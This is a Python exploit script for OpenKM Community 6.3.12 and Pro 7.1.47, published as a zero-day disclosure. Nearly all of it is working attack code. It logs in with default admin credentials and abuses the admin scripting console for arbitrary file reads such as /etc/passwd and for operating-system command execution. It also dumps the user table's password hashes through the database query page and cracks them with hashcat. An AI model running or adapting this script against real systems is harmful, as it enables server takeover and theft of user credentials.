OpenKM 6.3.12 – Multiple
# Exploit Title: OpenKM Multiple Critical Zero-Day # Date: 17 Jan 2026 # Exploit Author: Terra System Labs Pvt. Ltd. # Vendor Homepage: https://www.openkm.com/ # Software Link: https://hub.docker.com/r/openkm/openkm-ce # Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions # Tested on: Windows and Linux Docker # CVE : N/A import requests import argparse import os import subprocess from importlib import import_module import re import signal import sys import getpass print("Research Conducted By: Terra System Labs Research Team") print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs") # Ensure all required libraries are installed and re-import missing ones def check_and_install_libraries(): required_libraries = ["requests", "bs4", "prettytable", "termcolor"] for lib in required_libraries: try: import_module(lib) except ImportError: print(f"Library {lib} not found. Installing...") subprocess.check_call([ sys.executable, "-m", "pip", "install", lib, "--break-system-packages" ]) print(f"Library {lib} installed successfully.") check_and_install_libraries() from bs4 import BeautifulSoup from prettytable import PrettyTable try: from termcolor import colored use_colored_output = True except ImportError: use_colored_output = False # Utility function for colored output def print_colored(message, color): if use_colored_output: print(colored(message, color)) else: print(message) # Global session to persist cookies and authentication session = requests.Session() def signal_handler(sig, frame): print_colored("\nDetected CTRL+C. Logging out...", "red") if "base_url" in globals(): logout(base_url, proxies, verify_ssl) sys.exit(0) signal.signal(signal.SIGINT, signal_handler) def check_version(base_url, proxies, verify_ssl): print_colored("Checking OpenKM version...", "cyan") version_url = f"{base_url}/frontend/Workspace" headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*", "Content-Type": "text/x-gwt-rpc; charset=utf-8", "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC", "X-GWT-Module-Base": f"{base_url}/frontend/", "Origin": base_url, "Referer": f"{base_url}/frontend/index.jsp", } payload = ( f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|" "com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|" ) response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200 and response.text.startswith("//OK"): try: strings = re.findall(r'"([^"]+)"', response.text) idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346") build = strings[idx + 1] release_type = strings[idx + 2] ver_major = strings[idx + 3] ver_minor = strings[idx + 4] ver_patch = strings[idx + 5] print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green") except Exception as e: print_colored(f"Failed to parse version: {e}", "red") else: print_colored("Failed to fetch version information.", "red") # Function to handle login def login(base_url, username, password): login_url = f"{base_url}/login.jsp" login_payload = { "j_username": username, "j_password": password, "j_language": "en-GB", "submit": "" } login_post_url = f"{base_url}/j_spring_security_check" response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl) if "error" in response.url: print_colored("Login failed. Check credentials.", "red") return False print_colored("Login successful using default credentials or provided oen, if any.", "green") check_version(base_url, proxies, verify_ssl) return True # Function for Local File Inclusion (LFI) def lfi(base_url, read_file, proxies, verify_ssl): csrf_page_url = f"{base_url}/admin/Scripting" csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl) csrf_token = None if csrf_response.status_code == 200: soup = BeautifulSoup(csrf_response.text, "html.parser") csrf_input = soup.find("input", {"name": "csrft"}) if csrf_input: csrf_token = csrf_input["value"] if not csrf_token: print_colored("Failed to fetch CSRF token.", "red") return script_payload = { "csrft": csrf_token, "script": "", "fsPath": read_file, "action": "Load" } script_post_url = f"{base_url}/admin/Scripting" response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200: soup = BeautifulSoup(response.text, "html.parser") textarea = soup.find("textarea", {"id": "script"}) if textarea: print_colored("LFI Successful. Extracted Content:", "green") print(textarea.text.strip()) else: print_colored("Content not found.", "red") else: print_colored("LFI exploit failed.", "red") # Function for Remote Code Execution (RCE) def rce(base_url, command, proxies, verify_ssl): csrf_page_url = f"{base_url}/admin/Scripting" csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl) csrf_token = None if csrf_response.status_code == 200: soup = BeautifulSoup(csrf_response.text, "html.parser") csrf_input = soup.find("input", {"name": "csrft"}) if csrf_input: csrf_token = csrf_input["value"] if not csrf_token: print_colored("Failed to fetch CSRF token.", "red") return exploit_payload = f""" try {{ Process process = Runtime.getRuntime().exec("{command}"); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String output = reader.readLine(); print("Result: " + output); }} catch (IOException e) {{ print("Error: " + e.getMessage()); }} """ script_payload = { "csrft": csrf_token, "script": exploit_payload, "fsPath": "", "action": "Evaluate" } script_post_url = f"{base_url}/admin/Scripting" response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200: match = re.search(r"Result:\s*(\w+)", response.text) if match: print_colored("RCE Successful. Result:", "green") print(match.group(1)) else: print_colored("RCE failed to return a result.", "red") #Function for crack hash def crack_password(): # Extract hashes from hashes.txt and save to md5_hashes.txt def extract_hashes_to_file(): try: with open("hashes.txt", "r") as file: hashes_data = file.readlines() # Extract only the hashes (after the colon) hashes_only = [line.split(":")[1].strip() for line in hashes_data] # Write the hashes to md5_hashes.txt with open("md5_hashes.txt", "w") as file: file.write("\n".join(hashes_only)) print("Hashes successfully extracted to md5_hashes.txt") except FileNotFoundError: print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.") # Combine usernames with cracked passwords def combine_passwords(): try: # Load usernames and hashes from hashes.txt with open("hashes.txt", "r") as file: hashes_data = file.readlines() # Load cracked hashes and passwords from cracked_hashes.txt with open("cracked_hashes.txt", "r") as file: cracked_data = file.readlines() # Parse data into dictionaries hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data} cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data} # Match and combine data into final_cracked.txt final_cracked = ["Username:Passwords\n"] # Add header for username, hash_value in hashes_dict.items(): if hash_value in cracked_dict: password = cracked_dict[hash_value] final_cracked.append(f"{username}:{password}\n") # Save the results to final_cracked.txt final_cracked_path = os.path.abspath("final_cracked.txt") with open(final_cracked_path, "w") as file: file.writelines(final_cracked) print_colored("Final cracked usernames and passwords saved to final_cracked.txt", "green") # Confirm with the user before displaying passwords show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower() if show_passwords == 'y': print("{:<20} {:<20}".format("Username", "Password")) print("-" * 40) for line in final_cracked[1:]: # Skip header username, password = line.strip().split(":") print("{:<20} {:<20}".format(username, password)) exit(0) else: print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext") except FileNotFoundError: print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.") # Main script if __name__ == "__main__": # Step 1: Extract hashes to md5_hashes.txt extract_hashes_to_file() # Step 2: Prompt user for the wordlist path and use default if not provided wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip() if not wordlist_path: wordlist_path = "/usr/share/wordlists/rockyou.txt" import os # Run hashcat commands print("Running hashcat...") os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --quiet") os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --show > cracked_hashes.txt") # Step 3: Combine usernames with cracked passwords combine_passwords() # Function for SQL Injection (SQLi) def sqli(base_url, proxies, verify_ssl): print_colored("Running Unrestricted SQL Query...", "magenta") query_url = f"{base_url}/admin/DatabaseQuery" multipart_form_data = ( "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"qs\"\r\n\r\n" "SELECT * FROM OKM_USER;\r\n" "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"tables\"\r\n\r\n" "OKM_USER\r\n" "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n" "-----------------------------88617175833200583821560840739\r\n" "Content-Disposition: form-data; name=\"type\"\r\n\r\n" "jdbc\r\n" "-----------------------------88617175833200583821560840739--" ) headers = { "Content-Type": "multipart/form-data; boundary=---------------------------88617175833200583821560840739", } response = session.post(query_url, data=multipart_form_data, headers=headers, proxies=proxies, verify=verify_ssl) if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') table = soup.find('table', class_='results-old') if table: print_colored("SQL Injection Successful. Results:", "green") rows = table.find_all('tr') table_data = PrettyTable() headers = [header.text.strip() for header in rows[0].find_all('th')] table_data.field_names = headers with open("hashes.txt", "w") as file: for row in rows[1:]: columns = row.find_all(['td', 'th']) # Ensure all columns are filled, replacing missing values with 'N/A' and matching headers row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]] if len(row_data) == len(headers): table_data.add_row(row_data) # Write USR_ID and USR_PASSWORD to the file usr_id = row_data[headers.index("USR_ID")] usr_password = row_data[headers.index("USR_PASSWORD")] file.write(f"{usr_id}:{usr_password}\n") print(table_data) #current_directory = os.getcwd() print_colored("hashes.txt created in the current directory", "green") crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip() if crack_hash in ['y', 'Y']: crack_password() else: print("Skipping password cracking...") exit() else: print_colored("No results found.", "red") else: print_colored("SQL Injection failed.", "red") # Function for logout def logout(base_url, proxies, verify_ssl): print_colored("Logging out...", "green") logout_url = f"{base_url}/frontend/Auth" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "text/x-gwt-rpc; charset=utf-8", "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC", "X-GWT-Module-Base": f"{base_url}/frontend/", "Origin": base_url } logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|" response = session.post(logout_url, headers=headers, data=logout_payload, proxies=proxies, verify=verify_ssl) if response.status_code == 200 and "//OK" in response.text: print_colored("Logged out successfully.", "green") else: print_colored("Logout failed.", "red") # Main function def main(): global base_url, proxies, verify_ssl parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool") parser.add_argument("--url", required=True, help="Base URL of the target application") parser.add_argument("--run", help="Run specific tests: (A=All, L=LFI, R=RCE, S=SQL)") parser.add_argument("--proxy", help="Proxy URL in the format http://IP:PORT") parser.add_argument("--login", help="Credentials in the format username:password") args = parser.parse_args() help1 = args.run if help1 in ["-h", "--help"]: print_colored("Run python3 openkm-scanner.py --url http://host:port") base_url = args.url[:-1] if args.url.endswith('/') else args.url if not base_url.endswith("/OpenKM"): base_url += "/OpenKM" proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None verify_ssl = False if args.login: try: username, password = args.login.split(":", 1) except ValueError: print_colored("Invalid format for --login. Use username:password", "red") return else: username = "okmAdmin" password = "admin" if not login(base_url, username, password): return # if args.login: # print("Username Received", login) # try: # username, password = args.login.split(":", 1) # except ValueError: # print_colored("Invalid format for --login. Use username:password", "red") # return # else: # username = "okmAdmin" # password = "admin" # if not login(base_url, username, password): # return run_tests = args.run if not run_tests: run_tests = input("Enter tests to run (A=All, L=LFI, R=RCE, S=SQL): ").upper() if run_tests in ['A', 'a']: print_colored("Running LFI attack...", "magenta") read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd" lfi(base_url, read_file, proxies, verify_ssl) print_colored("Running RCE attack...", "magenta") command = input("Enter command for RCE (default: whoami): ") or "whoami" rce(base_url, command, proxies, verify_ssl) sqli(base_url, proxies, verify_ssl) crack_password() exit() if run_tests in ['L', 'l']: print_colored("Running LFI attack...", "magenta") read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd" lfi(base_url, read_file, proxies, verify_ssl) if run_tests in ['R', 'r']: print_colored("Running RCE attack...", "magenta") command = input("Enter command for RCE (default: whoami): ") or "whoami" rce(base_url, command, proxies, verify_ssl) if run_tests in ['S', 's']: sqli(base_url, proxies, verify_ssl) if __name__ == "__main__": main() |